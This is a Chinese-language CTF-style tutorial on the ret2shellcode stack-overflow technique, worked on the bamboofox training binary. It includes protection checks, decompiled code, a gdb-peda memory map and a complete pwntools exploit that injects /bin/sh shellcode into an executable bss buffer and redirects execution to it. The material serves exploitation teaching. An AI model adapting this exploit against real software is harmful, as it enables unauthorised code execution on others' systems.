ret2shellcode 原理 ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
例子 这里我们以 bamboofox 中的 ret2shellcode 为例
首先检测程序开启的保护
1 2 3 4 5 6 7 [*] '/home/seamiloak/Desktop/ret2shellcode' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。我们再使用 IDA 看一下程序
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets(&s); strncpy(buf2, &s, 0x64u); printf("bye bye ~"); return 0; }
可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。
1 2 .bss:0804A080 public buf2 .bss:0804A080 ; char buf2[100]
这时,我们简单的调试下程序,看看这一个 bss 段是否可执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 gdb-peda$ b main Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8. gdb-peda$ r Starting program: /home/seamiloak/Desktop/ret2shellcode [----------------------------------registers-----------------------------------] EAX: 0xf7fb4dd8 --> 0xffffd09c --> 0xffffd29b ("CLUTTER_IM_MODULE=xim") EBX: 0x0 ECX: 0xfaa899a4 EDX: 0xffffd024 --> 0x0 ESI: 0xf7fb3000 --> 0x1d7d8c EDI: 0x0 EBP: 0xffffcff8 --> 0x0 ESP: 0xffffcf70 --> 0x0 EIP: 0x8048536 (<main+9>: mov eax,ds:0x804a060) EFLAGS: 0x283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804852e <main+1>: mov ebp,esp 0x8048530 <main+3>: and esp,0xfffffff0 0x8048533 <main+6>: add esp,0xffffff80 => 0x8048536 <main+9>: mov eax,ds:0x804a060 0x804853b <main+14>: mov DWORD PTR [esp+0xc],0x0 0x8048543 <main+22>: mov DWORD PTR [esp+0x8],0x2 0x804854b <main+30>: mov DWORD PTR [esp+0x4],0x0 0x8048553 <main+38>: mov DWORD PTR [esp],eax [------------------------------------stack-------------------------------------] 0000| 0xffffcf70 --> 0x0 0004| 0xffffcf74 --> 0x1 0008| 0xffffcf78 --> 0xf7ffd940 --> 0x0 0012| 0xffffcf7c --> 0xc2 0016| 0xffffcf80 --> 0x0 0020| 0xffffcf84 --> 0xc30000 0024| 0xffffcf88 --> 0x0 0028| 0xffffcf8c --> 0xf7ffd000 --> 0x26f34 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, main () at ret2shellcode.c:8 8 ret2shellcode.c: 没有那个文件或目录. gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /home/seamiloak/Desktop/ret2shellcode 0x08049000 0x0804a000 r-xp /home/seamiloak/Desktop/ret2shellcode 0x0804a000 0x0804b000 rwxp /home/seamiloak/Desktop/ret2shellcode 0xf7ddb000 0xf7fb0000 r-xp /lib/i386-linux-gnu/libc-2.27.so 0xf7fb0000 0xf7fb1000 ---p /lib/i386-linux-gnu/libc-2.27.so 0xf7fb1000 0xf7fb3000 r-xp /lib/i386-linux-gnu/libc-2.27.so 0xf7fb3000 0xf7fb4000 rwxp /lib/i386-linux-gnu/libc-2.27.so 0xf7fb4000 0xf7fb7000 rwxp mapped 0xf7fcf000 0xf7fd1000 rwxp mapped 0xf7fd1000 0xf7fd4000 r--p [vvar] 0xf7fd4000 0xf7fd6000 r-xp [vdso] 0xf7fd6000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.27.so 0xf7ffc000 0xf7ffd000 r-xp /lib/i386-linux-gnu/ld-2.27.so 0xf7ffd000 0xf7ffe000 rwxp /lib/i386-linux-gnu/ld-2.27.so 0xfffdd000 0xffffe000 rwxp [stack]
通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限
1 0x0804a000 0x0804b000 rwxp /home/seamiloak/Desktop/ret2shellcode
那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。
具体的 payload 如下
1 2 3 4 5 6 7 8 9 #!/usr/bin/env python from pwn import * sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) buf2_addr = 0x804a080 sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr)) sh.interactive()